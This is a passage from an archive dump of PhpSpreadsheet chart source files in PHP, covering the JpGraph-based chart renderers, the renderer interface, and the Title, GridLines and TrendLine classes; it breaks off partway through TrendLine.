\JpGraph\JpGraph::module('scatter'); \JpGraph\JpGraph::module('stock'); $loaded = true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Renderer/JpGraphRendererBase.php000064400000100045151676714400024404 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart\Renderer; use AccBarPlot; use AccLinePlot; use BarPlot; use ContourPlot; use Graph; use GroupBarPlot; use LinePlot; use PhpOffice\PhpSpreadsheet\Chart\Chart; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PieGraph; use PiePlot; use PiePlot3D; use PiePlotC; use RadarGraph; use RadarPlot; use ScatterPlot; use Spline; use StockPlot; /** * Base class for different Jpgraph implementations as charts renderer. */ abstract class JpGraphRendererBase implements IRenderer { private const DEFAULT_WIDTH = 640.0; private const DEFAULT_HEIGHT = 480.0; private static $colourSet = [ 'mediumpurple1', 'palegreen3', 'gold1', 'cadetblue1', 'darkmagenta', 'coral', 'dodgerblue3', 'eggplant', 'mediumblue', 'magenta', 'sandybrown', 'cyan', 'firebrick1', 'forestgreen', 'deeppink4', 'darkolivegreen', 'goldenrod2', ]; private static array $markSet; private Chart $chart; private $graph; private static $plotColour = 0; private static $plotMark = 0; /** * Create a new jpgraph. */ public function __construct(Chart $chart) { static::init(); $this->graph = null; $this->chart = $chart; self::$markSet = [ 'diamond' => MARK_DIAMOND, 'square' => MARK_SQUARE, 'triangle' => MARK_UTRIANGLE, 'x' => MARK_X, 'star' => MARK_STAR, 'dot' => MARK_FILLEDCIRCLE, 'dash' => MARK_DTRIANGLE, 'circle' => MARK_CIRCLE, 'plus' => MARK_CROSS, ]; } private function getGraphWidth(): float { return $this->chart->getRenderedWidth() ?? self::DEFAULT_WIDTH; } private function getGraphHeight(): float { return $this->chart->getRenderedHeight() ?? self::DEFAULT_HEIGHT; } /** * This method should be overriden in descendants to do real JpGraph library initialization. */ abstract protected static function init(): void; private function formatPointMarker($seriesPlot, $markerID) { $plotMarkKeys = array_keys(self::$markSet); if ($markerID === null) { // Use default plot marker (next marker in the series) self::$plotMark %= count(self::$markSet); $seriesPlot->mark->SetType(self::$markSet[$plotMarkKeys[self::$plotMark++]]); } elseif ($markerID !== 'none') { // Use specified plot marker (if it exists) if (isset(self::$markSet[$markerID])) { $seriesPlot->mark->SetType(self::$markSet[$markerID]); } else { // If the specified plot marker doesn't exist, use default plot marker (next marker in the series) self::$plotMark %= count(self::$markSet); $seriesPlot->mark->SetType(self::$markSet[$plotMarkKeys[self::$plotMark++]]); } } else { // Hide plot marker $seriesPlot->mark->Hide(); } $seriesPlot->mark->SetColor(self::$colourSet[self::$plotColour]); $seriesPlot->mark->SetFillColor(self::$colourSet[self::$plotColour]); $seriesPlot->SetColor(self::$colourSet[self::$plotColour++]); return $seriesPlot; } private function formatDataSetLabels(int $groupID, array $datasetLabels, $rotation = '') { $datasetLabelFormatCode = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex(0)->getFormatCode() ?? ''; // Retrieve any label formatting code $datasetLabelFormatCode = stripslashes($datasetLabelFormatCode); $testCurrentIndex = 0; foreach ($datasetLabels as $i => $datasetLabel) { if (is_array($datasetLabel)) { if ($rotation == 'bar') { $datasetLabels[$i] = implode(' ', $datasetLabel); } else { $datasetLabel = array_reverse($datasetLabel); $datasetLabels[$i] = implode("\n", $datasetLabel); } } else { // Format labels according to any formatting code if ($datasetLabelFormatCode !== null) { $datasetLabels[$i] = NumberFormat::toFormattedString($datasetLabel, $datasetLabelFormatCode); } } ++$testCurrentIndex; } return $datasetLabels; } private function percentageSumCalculation(int $groupID, $seriesCount) { $sumValues = []; // Adjust our values to a percentage value across all series in the group for ($i = 0; $i < $seriesCount; ++$i) { if ($i == 0) { $sumValues = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($i)->getDataValues(); } else { $nextValues = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($i)->getDataValues(); foreach ($nextValues as $k => $value) { if (isset($sumValues[$k])) { $sumValues[$k] += $value; } else { $sumValues[$k] = $value; } } } } return $sumValues; } private function percentageAdjustValues(array $dataValues, array $sumValues) { foreach ($dataValues as $k => $dataValue) { $dataValues[$k] = $dataValue / $sumValues[$k] * 100; } return $dataValues; } private function getCaption($captionElement) { // Read any caption $caption = ($captionElement !== null) ? $captionElement->getCaption() : null; // Test if we have a title caption to display if ($caption !== null) { // If we do, it could be a plain string or an array if (is_array($caption)) { // Implode an array to a plain string $caption = implode('', $caption); } } return $caption; } private function renderTitle(): void { $title = $this->getCaption($this->chart->getTitle()); if ($title !== null) { $this->graph->title->Set($title); } } private function renderLegend(): void { $legend = $this->chart->getLegend(); if ($legend !== null) { $legendPosition = $legend->getPosition(); switch ($legendPosition) { case 'r': $this->graph->legend->SetPos(0.01, 0.5, 'right', 'center'); // right $this->graph->legend->SetColumns(1); break; case 'l': $this->graph->legend->SetPos(0.01, 0.5, 'left', 'center'); // left $this->graph->legend->SetColumns(1); break; case 't': $this->graph->legend->SetPos(0.5, 0.01, 'center', 'top'); // top break; case 'b': $this->graph->legend->SetPos(0.5, 0.99, 'center', 'bottom'); // bottom break; default: $this->graph->legend->SetPos(0.01, 0.01, 'right', 'top'); // top-right $this->graph->legend->SetColumns(1); break; } } else { $this->graph->legend->Hide(); } } private function renderCartesianPlotArea(string $type = 'textlin'): void { $this->graph = new Graph($this->getGraphWidth(), $this->getGraphHeight()); $this->graph->SetScale($type); $this->renderTitle(); // Rotate for bar rather than column chart $rotation = $this->chart->getPlotArea()->getPlotGroupByIndex(0)->getPlotDirection(); $reverse = $rotation == 'bar'; $xAxisLabel = $this->chart->getXAxisLabel(); if ($xAxisLabel !== null) { $title = $this->getCaption($xAxisLabel); if ($title !== null) { $this->graph->xaxis->SetTitle($title, 'center'); $this->graph->xaxis->title->SetMargin(35); if ($reverse) { $this->graph->xaxis->title->SetAngle(90); $this->graph->xaxis->title->SetMargin(90); } } } $yAxisLabel = $this->chart->getYAxisLabel(); if ($yAxisLabel !== null) { $title = $this->getCaption($yAxisLabel); if ($title !== null) { $this->graph->yaxis->SetTitle($title, 'center'); if ($reverse) { $this->graph->yaxis->title->SetAngle(0); $this->graph->yaxis->title->SetMargin(-55); } } } } private function renderPiePlotArea(): void { $this->graph = new PieGraph($this->getGraphWidth(), $this->getGraphHeight()); $this->renderTitle(); } private function renderRadarPlotArea(): void { $this->graph = new RadarGraph($this->getGraphWidth(), $this->getGraphHeight()); $this->graph->SetScale('lin'); $this->renderTitle(); } private function renderPlotLine(int $groupID, bool $filled = false, bool $combination = false): void { $grouping = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotGrouping(); $index = array_keys($this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotOrder())[0]; $labelCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($index)->getPointCount(); if ($labelCount > 0) { $datasetLabels = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex(0)->getDataValues(); $datasetLabels = $this->formatDataSetLabels($groupID, $datasetLabels); $this->graph->xaxis->SetTickLabels($datasetLabels); } $seriesCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotSeriesCount(); $seriesPlots = []; if ($grouping == 'percentStacked') { $sumValues = $this->percentageSumCalculation($groupID, $seriesCount); } else { $sumValues = []; } // Loop through each data series in turn for ($i = 0; $i < $seriesCount; ++$i) { $index = array_keys($this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotOrder())[$i]; $dataValues = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($index)->getDataValues(); $marker = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($index)->getPointMarker(); if ($grouping == 'percentStacked') { $dataValues = $this->percentageAdjustValues($dataValues, $sumValues); } // Fill in any missing values in the $dataValues array $testCurrentIndex = 0; foreach ($dataValues as $k => $dataValue) { while ($k != $testCurrentIndex) { $dataValues[$testCurrentIndex] = null; ++$testCurrentIndex; } ++$testCurrentIndex; } $seriesPlot = new LinePlot($dataValues); if ($combination) { $seriesPlot->SetBarCenter(); } if ($filled) { $seriesPlot->SetFilled(true); $seriesPlot->SetColor('black'); $seriesPlot->SetFillColor(self::$colourSet[self::$plotColour++]); } else { // Set the appropriate plot marker $this->formatPointMarker($seriesPlot, $marker); } $dataLabel = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotLabelByIndex($index)->getDataValue(); $seriesPlot->SetLegend($dataLabel); $seriesPlots[] = $seriesPlot; } if ($grouping == 'standard') { $groupPlot = $seriesPlots; } else { $groupPlot = new AccLinePlot($seriesPlots); } $this->graph->Add($groupPlot); } private function renderPlotBar(int $groupID, ?string $dimensions = '2d'): void { $rotation = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotDirection(); // Rotate for bar rather than column chart if (($groupID == 0) && ($rotation == 'bar')) { $this->graph->Set90AndMargin(); } $grouping = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotGrouping(); $index = array_keys($this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotOrder())[0]; $labelCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($index)->getPointCount(); if ($labelCount > 0) { $datasetLabels = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex(0)->getDataValues(); $datasetLabels = $this->formatDataSetLabels($groupID, $datasetLabels, $rotation); // Rotate for bar rather than column chart if ($rotation == 'bar') { $datasetLabels = array_reverse($datasetLabels); $this->graph->yaxis->SetPos('max'); $this->graph->yaxis->SetLabelAlign('center', 'top'); $this->graph->yaxis->SetLabelSide(SIDE_RIGHT); } $this->graph->xaxis->SetTickLabels($datasetLabels); } $seriesCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotSeriesCount(); $seriesPlots = []; if ($grouping == 'percentStacked') { $sumValues = $this->percentageSumCalculation($groupID, $seriesCount); } else { $sumValues = []; } // Loop through each data series in turn for ($j = 0; $j < $seriesCount; ++$j) { $index = array_keys($this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotOrder())[$j]; $dataValues = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($index)->getDataValues(); if ($grouping == 'percentStacked') { $dataValues = $this->percentageAdjustValues($dataValues, $sumValues); } // Fill in any missing values in the $dataValues array $testCurrentIndex = 0; foreach ($dataValues as $k => $dataValue) { while ($k != $testCurrentIndex) { $dataValues[$testCurrentIndex] = null; ++$testCurrentIndex; } ++$testCurrentIndex; } // Reverse the $dataValues order for bar rather than column chart if ($rotation == 'bar') { $dataValues = array_reverse($dataValues); } $seriesPlot = new BarPlot($dataValues); $seriesPlot->SetColor('black'); $seriesPlot->SetFillColor(self::$colourSet[self::$plotColour++]); if ($dimensions == '3d') { $seriesPlot->SetShadow(); } if (!$this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotLabelByIndex($j)) { $dataLabel = ''; } else { $dataLabel = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotLabelByIndex($j)->getDataValue(); } $seriesPlot->SetLegend($dataLabel); $seriesPlots[] = $seriesPlot; } // Reverse the plot order for bar rather than column chart if (($rotation == 'bar') && ($grouping != 'percentStacked')) { $seriesPlots = array_reverse($seriesPlots); } if ($grouping == 'clustered') { $groupPlot = new GroupBarPlot($seriesPlots); } elseif ($grouping == 'standard') { $groupPlot = new GroupBarPlot($seriesPlots); } else { $groupPlot = new AccBarPlot($seriesPlots); if ($dimensions == '3d') { $groupPlot->SetShadow(); } } $this->graph->Add($groupPlot); } private function renderPlotScatter(int $groupID, bool $bubble): void { $scatterStyle = $bubbleSize = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotStyle(); $seriesCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotSeriesCount(); // Loop through each data series in turn for ($i = 0; $i < $seriesCount; ++$i) { $plotCategoryByIndex = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex($i); if ($plotCategoryByIndex === false) { $plotCategoryByIndex = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex(0); } $dataValuesY = $plotCategoryByIndex->getDataValues(); $dataValuesX = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($i)->getDataValues(); $redoDataValuesY = true; if ($bubble) { if (!$bubbleSize) { $bubbleSize = '10'; } $redoDataValuesY = false; foreach ($dataValuesY as $dataValueY) { if (!is_int($dataValueY) && !is_float($dataValueY)) { $redoDataValuesY = true; break; } } } if ($redoDataValuesY) { foreach ($dataValuesY as $k => $dataValueY) { $dataValuesY[$k] = $k; } } $seriesPlot = new ScatterPlot($dataValuesX, $dataValuesY); if ($scatterStyle == 'lineMarker') { $seriesPlot->SetLinkPoints(); $seriesPlot->link->SetColor(self::$colourSet[self::$plotColour]); } elseif ($scatterStyle == 'smoothMarker') { $spline = new Spline($dataValuesY, $dataValuesX); [$splineDataY, $splineDataX] = $spline->Get(count($dataValuesX) * $this->getGraphWidth() / 20); $lplot = new LinePlot($splineDataX, $splineDataY); $lplot->SetColor(self::$colourSet[self::$plotColour]); $this->graph->Add($lplot); } if ($bubble) { $this->formatPointMarker($seriesPlot, 'dot'); $seriesPlot->mark->SetColor('black'); $seriesPlot->mark->SetSize($bubbleSize); } else { $marker = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($i)->getPointMarker(); $this->formatPointMarker($seriesPlot, $marker); } $dataLabel = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotLabelByIndex($i)->getDataValue(); $seriesPlot->SetLegend($dataLabel); $this->graph->Add($seriesPlot); } } private function renderPlotRadar(int $groupID): void { $radarStyle = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotStyle(); $seriesCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotSeriesCount(); // Loop through each data series in turn for ($i = 0; $i < $seriesCount; ++$i) { $dataValuesY = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex($i)->getDataValues(); $dataValuesX = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($i)->getDataValues(); $marker = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($i)->getPointMarker(); $dataValues = []; foreach ($dataValuesY as $k => $dataValueY) { $dataValues[$k] = is_array($dataValueY) ? implode(' ', array_reverse($dataValueY)) : $dataValueY; } $tmp = array_shift($dataValues); $dataValues[] = $tmp; $tmp = array_shift($dataValuesX); $dataValuesX[] = $tmp; $this->graph->SetTitles(array_reverse($dataValues)); $seriesPlot = new RadarPlot(array_reverse($dataValuesX)); $dataLabel = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotLabelByIndex($i)->getDataValue(); $seriesPlot->SetColor(self::$colourSet[self::$plotColour++]); if ($radarStyle == 'filled') { $seriesPlot->SetFillColor(self::$colourSet[self::$plotColour]); } $this->formatPointMarker($seriesPlot, $marker); $seriesPlot->SetLegend($dataLabel); $this->graph->Add($seriesPlot); } } private function renderPlotContour(int $groupID): void { $seriesCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotSeriesCount(); $dataValues = []; // Loop through each data series in turn for ($i = 0; $i < $seriesCount; ++$i) { $dataValuesX = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($i)->getDataValues(); $dataValues[$i] = $dataValuesX; } $seriesPlot = new ContourPlot($dataValues); $this->graph->Add($seriesPlot); } private function renderPlotStock(int $groupID): void { $seriesCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotSeriesCount(); $plotOrder = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotOrder(); $dataValues = []; // Loop through each data series in turn and build the plot arrays foreach ($plotOrder as $i => $v) { $dataValuesX = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($v); if ($dataValuesX === false) { continue; } $dataValuesX = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($v)->getDataValues(); foreach ($dataValuesX as $j => $dataValueX) { $dataValues[$plotOrder[$i]][$j] = $dataValueX; } } if (empty($dataValues)) { return; } $dataValuesPlot = []; // Flatten the plot arrays to a single dimensional array to work with jpgraph $jMax = count($dataValues[0]); for ($j = 0; $j < $jMax; ++$j) { for ($i = 0; $i < $seriesCount; ++$i) { $dataValuesPlot[] = $dataValues[$i][$j] ?? null; } } // Set the x-axis labels $labelCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex(0)->getPointCount(); if ($labelCount > 0) { $datasetLabels = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex(0)->getDataValues(); $datasetLabels = $this->formatDataSetLabels($groupID, $datasetLabels); $this->graph->xaxis->SetTickLabels($datasetLabels); } $seriesPlot = new StockPlot($dataValuesPlot); $seriesPlot->SetWidth(20); $this->graph->Add($seriesPlot); } private function renderAreaChart($groupCount): void { $this->renderCartesianPlotArea(); for ($i = 0; $i < $groupCount; ++$i) { $this->renderPlotLine($i, true, false); } } private function renderLineChart($groupCount): void { $this->renderCartesianPlotArea(); for ($i = 0; $i < $groupCount; ++$i) { $this->renderPlotLine($i, false, false); } } private function renderBarChart($groupCount, ?string $dimensions = '2d'): void { $this->renderCartesianPlotArea(); for ($i = 0; $i < $groupCount; ++$i) { $this->renderPlotBar($i, $dimensions); } } private function renderScatterChart($groupCount): void { $this->renderCartesianPlotArea('linlin'); for ($i = 0; $i < $groupCount; ++$i) { $this->renderPlotScatter($i, false); } } private function renderBubbleChart($groupCount): void { $this->renderCartesianPlotArea('linlin'); for ($i = 0; $i < $groupCount; ++$i) { $this->renderPlotScatter($i, true); } } private function renderPieChart($groupCount, ?string $dimensions = '2d', bool $doughnut = false, bool $multiplePlots = false): void { $this->renderPiePlotArea(); $iLimit = ($multiplePlots) ? $groupCount : 1; for ($groupID = 0; $groupID < $iLimit; ++$groupID) { $exploded = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotStyle(); $datasetLabels = []; if ($groupID == 0) { $labelCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex(0)->getPointCount(); if ($labelCount > 0) { $datasetLabels = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotCategoryByIndex(0)->getDataValues(); $datasetLabels = $this->formatDataSetLabels($groupID, $datasetLabels); } } $seriesCount = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotSeriesCount(); // For pie charts, we only display the first series: doughnut charts generally display all series $jLimit = ($multiplePlots) ? $seriesCount : 1; // Loop through each data series in turn for ($j = 0; $j < $jLimit; ++$j) { $dataValues = $this->chart->getPlotArea()->getPlotGroupByIndex($groupID)->getPlotValuesByIndex($j)->getDataValues(); // Fill in any missing values in the $dataValues array $testCurrentIndex = 0; foreach ($dataValues as $k => $dataValue) { while ($k != $testCurrentIndex) { $dataValues[$testCurrentIndex] = null; ++$testCurrentIndex; } ++$testCurrentIndex; } if ($dimensions == '3d') { $seriesPlot = new PiePlot3D($dataValues); } else { if ($doughnut) { $seriesPlot = new PiePlotC($dataValues); } else { $seriesPlot = new PiePlot($dataValues); } } if ($multiplePlots) { $seriesPlot->SetSize(($jLimit - $j) / ($jLimit * 4)); } if ($doughnut && method_exists($seriesPlot, 'SetMidColor')) { $seriesPlot->SetMidColor('white'); } $seriesPlot->SetColor(self::$colourSet[self::$plotColour++]); if (count($datasetLabels) > 0) { $seriesPlot->SetLabels(array_fill(0, count($datasetLabels), '')); } if ($dimensions != '3d') { $seriesPlot->SetGuideLines(false); } if ($j == 0) { if ($exploded) { $seriesPlot->ExplodeAll(); } $seriesPlot->SetLegends($datasetLabels); } $this->graph->Add($seriesPlot); } } } private function renderRadarChart($groupCount): void { $this->renderRadarPlotArea(); for ($groupID = 0; $groupID < $groupCount; ++$groupID) { $this->renderPlotRadar($groupID); } } private function renderStockChart($groupCount): void { $this->renderCartesianPlotArea('intint'); for ($groupID = 0; $groupID < $groupCount; ++$groupID) { $this->renderPlotStock($groupID); } } private function renderContourChart($groupCount): void { $this->renderCartesianPlotArea('intint'); for ($i = 0; $i < $groupCount; ++$i) { $this->renderPlotContour($i); } } private function renderCombinationChart($groupCount, $outputDestination): bool { $this->renderCartesianPlotArea(); for ($i = 0; $i < $groupCount; ++$i) { $dimensions = null; $chartType = $this->chart->getPlotArea()->getPlotGroupByIndex($i)->getPlotType(); switch ($chartType) { case 'area3DChart': case 'areaChart': $this->renderPlotLine($i, true, true); break; case 'bar3DChart': $dimensions = '3d'; // no break case 'barChart': $this->renderPlotBar($i, $dimensions); break; case 'line3DChart': case 'lineChart': $this->renderPlotLine($i, false, true); break; case 'scatterChart': $this->renderPlotScatter($i, false); break; case 'bubbleChart': $this->renderPlotScatter($i, true); break; default: $this->graph = null; return false; } } $this->renderLegend(); $this->graph->Stroke($outputDestination); return true; } public function render(?string $outputDestination): bool { self::$plotColour = 0; $groupCount = $this->chart->getPlotArea()->getPlotGroupCount(); $dimensions = null; if ($groupCount == 1) { $chartType = $this->chart->getPlotArea()->getPlotGroupByIndex(0)->getPlotType(); } else { $chartTypes = []; for ($i = 0; $i < $groupCount; ++$i) { $chartTypes[] = $this->chart->getPlotArea()->getPlotGroupByIndex($i)->getPlotType(); } $chartTypes = array_unique($chartTypes); if (count($chartTypes) == 1) { $chartType = array_pop($chartTypes); } elseif (count($chartTypes) == 0) { echo 'Chart is not yet implemented<br />'; return false; } else { return $this->renderCombinationChart($groupCount, $outputDestination); } } switch ($chartType) { case 'area3DChart': $dimensions = '3d'; // no break case 'areaChart': $this->renderAreaChart($groupCount); break; case 'bar3DChart': $dimensions = '3d'; // no break case 'barChart': $this->renderBarChart($groupCount, $dimensions); break; case 'line3DChart': $dimensions = '3d'; // no break case 'lineChart': $this->renderLineChart($groupCount); break; case 'pie3DChart': $dimensions = '3d'; // no break case 'pieChart': $this->renderPieChart($groupCount, $dimensions, false, false); break; case 'doughnut3DChart': $dimensions = '3d'; // no break case 'doughnutChart': $this->renderPieChart($groupCount, $dimensions, true, true); break; case 'scatterChart': $this->renderScatterChart($groupCount); break; case 'bubbleChart': $this->renderBubbleChart($groupCount); break; case 'radarChart': $this->renderRadarChart($groupCount); break; case 'surface3DChart': case 'surfaceChart': $this->renderContourChart($groupCount); break; case 'stockChart': $this->renderStockChart($groupCount); break; default: echo $chartType . ' is not yet implemented<br />'; return false; } $this->renderLegend(); $this->graph->Stroke($outputDestination); return true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Renderer/MtJpGraphRenderer.php000064400000001465151676714400024120 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart\Renderer; use mitoteam\jpgraph\MtJpGraph; /** * Jpgraph is not officially maintained by Composer at packagist.org. * * This renderer implementation uses package * https://packagist.org/packages/mitoteam/jpgraph * * This package is up to date for June 2023 and has PHP 8.2 support. */ class MtJpGraphRenderer extends JpGraphRendererBase { protected static function init(): void { static $loaded = false; if ($loaded) { return; } MtJpGraph::load([ 'bar', 'contour', 'line', 'pie', 'pie3d', 'radar', 'regstat', 'scatter', 'stock', ], true); // enable Extended mode $loaded = true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Renderer/IRenderer.php000064400000000701151676714400022444 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart\Renderer; use PhpOffice\PhpSpreadsheet\Chart\Chart; interface IRenderer { /** * IRenderer constructor. */ public function __construct(Chart $chart); /** * Render the chart to given file (or stream). * * @param ?string $filename Name of the file render to * * @return bool true on success */ public function render(?string $filename): bool; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Title.php000064400000010205151676714400020100 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Font; class Title { public const TITLE_CELL_REFERENCE = '/^(.*)!' // beginning of string, everything up to ! is match[1] . '[$]([A-Z]{1,3})' // absolute column string match[2] . '[$](\d{1,7})$/i'; // absolute row string match[3] /** * Title Caption. * * @var array<RichText|string>|RichText|string */ private array|RichText|string $caption; /** * Allow overlay of other elements? */ private bool $overlay = true; /** * Title Layout. */ private ?Layout $layout; private string $cellReference = ''; private ?Font $font = null; /** * Create a new Title. */ public function __construct(array|RichText|string $caption = '', ?Layout $layout = null, bool $overlay = false) { $this->caption = $caption; $this->layout = $layout; $this->setOverlay($overlay); } /** * Get caption. */ public function getCaption(): array|RichText|string { return $this->caption; } public function getCaptionText(?Spreadsheet $spreadsheet = null): string { if ($spreadsheet !== null) { $caption = $this->getCalculatedTitle($spreadsheet); if ($caption !== null) { return $caption; } } $caption = $this->caption; if (is_string($caption)) { return $caption; } if ($caption instanceof RichText) { return $caption->getPlainText(); } $retVal = ''; foreach ($caption as $textx) { /** @var RichText|string $text */ $text = $textx; if ($text instanceof RichText) { $retVal .= $text->getPlainText(); } else { $retVal .= $text; } } return $retVal; } /** * Set caption. * * @return $this */ public function setCaption(array|RichText|string $caption): static { $this->caption = $caption; return $this; } /** * Get allow overlay of other elements? */ public function getOverlay(): bool { return $this->overlay; } /** * Set allow overlay of other elements? */ public function setOverlay(bool $overlay): self { $this->overlay = $overlay; return $this; } public function getLayout(): ?Layout { return $this->layout; } public function setCellReference(string $cellReference): self { $this->cellReference = $cellReference; return $this; } public function getCellReference(): string { return $this->cellReference; } public function getCalculatedTitle(?Spreadsheet $spreadsheet): ?string { preg_match(self::TITLE_CELL_REFERENCE, $this->cellReference, $matches); if (count($matches) === 0 || $spreadsheet === null) { return null; } $sheetName = preg_replace("/^'(.*)'$/", '$1', $matches[1]) ?? ''; return $spreadsheet->getSheetByName($sheetName)?->getCell($matches[2] . $matches[3])?->getFormattedValue(); } public function getFont(): ?Font { return $this->font; } public function setFont(?Font $font): self { $this->font = $font; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->layout = ($this->layout === null) ? null : clone $this->layout; $this->font = ($this->font === null) ? null : clone $this->font; if (is_array($this->caption)) { $captions = $this->caption; $this->caption = []; foreach ($captions as $caption) { $this->caption[] = is_object($caption) ? (clone $caption) : $caption; } } else { $this->caption = is_object($this->caption) ? (clone $this->caption) : $this->caption; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/GridLines.php000064400000000267151676714400020706 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; /** * Created by PhpStorm. * User: Wiktor Trzonkowski * Date: 7/2/14 * Time: 2:36 PM. */ class GridLines extends Properties { } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/TrendLine.php000064400000011023151676714400020702 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; class TrendLine extends Properties { const TRENDLINE_EXPONENTIAL = 'exp'; const TRENDLINE_LINEAR = 'linear'; const TRENDLINE_LOGARITHMIC = 'log'; const TRENDLINE_POLYNOMIAL = 'poly'; // + 'order' const TRENDLINE_POWER = 'power'; const TRENDLINE_MOVING_AVG = 'movingAvg'; // + 'period' const TRENDLINE_TYPES = [ self::TRENDLINE_EXPONENTIAL, self::TRENDLINE_LINEAR, self::TRENDLINE_LOGARITHMIC, self::TRENDLINE_POLYNOMIAL, self::TRENDLINE_POWER, self::TRENDLINE_MOVING_AVG, ]; private string $trendLineType = 'linear'; // TRENDLINE_LINEAR private int $order = 2; private int $period = 3; private bool $dispRSqr = false; private bool $dispEq = false; private string $name = ''; private float $backward = 0.0; private float $forward = 0.0; private float $intercept = 0.0; /** * Create a new TrendLine object. */ public function __construct( string $trendLineType = '', ?int $order = null, ?int $period = null, bool $dispRSqr = false, bool $dispEq = false, ?float $backward = null, ?float $forward = null, ?float $intercept = null, ?string $name = null ) { parent::__construct(); $this->setTrendLineProperties( $trendLineType, $order, $period, $dispRSqr, $dispEq, $backward, $forward, $intercept, $name ); } public function getTrendLineType(): string { return $this->trendLineType; } public function setTrendLineType(string $trendLineType): self { $this->trendLineType = $trendLineType; return $this; } public function getOrder(): int { return $this->order; } public function setOrder(int $order): self { $this->order = $order; return $this; } public function getPeriod(): int { return $this->period; } public function setPeriod(int $period): self { $this->period = $period; return $this; } public function getDispRSqr(): bool { return $this->dispRSqr; } public function setDispRSqr(bool $dispRSqr): self { $this->dispRSqr = $dispRSqr; return $this; } public function getDispEq(): bool { return $this->dispEq; } public function setDispEq(bool $dispEq): self { $this->dispEq = $dispEq; return $this; } public function getName(): string { return $this->name; } public function setName(string $name): self { $this->name = $name; return $this; } public function getBackward(): float { return $this->backward; } public function setBackward(float $backward): self { $this->backward = $backward; return $this; } public function getForward(): float { return $this->forward; } public function setForward(float $forward): self { $this->forward = $forward; return $this; } public function getIntercept(): float { return $this->intercept; } public function setIntercept(float $intercept): self { $this->intercept = $intercept; return $this; } public function setTrendLineProperties( ?string $trendLineType = null, ?int $order = 0, ?int $period = 0, ?bool $dispRSqr = false, ?bool $dispEq = false, ?float $backward = null, ?float $forward = null, ?float $intercept = null, ?string $name = null ): self { if (!empty($trendLineType)) { $this->setTrendLineType($trendLineType); } if ($order !== null) { $this->setOrder($order); } if ($period !== null) { $this->setPeriod($period); } if ($dispRSqr !== null) { $this->setDispRSqr($dispRSqr); } if ($dispEq !== null) { $this->setDispEq($dispEq); } if ($backward !== 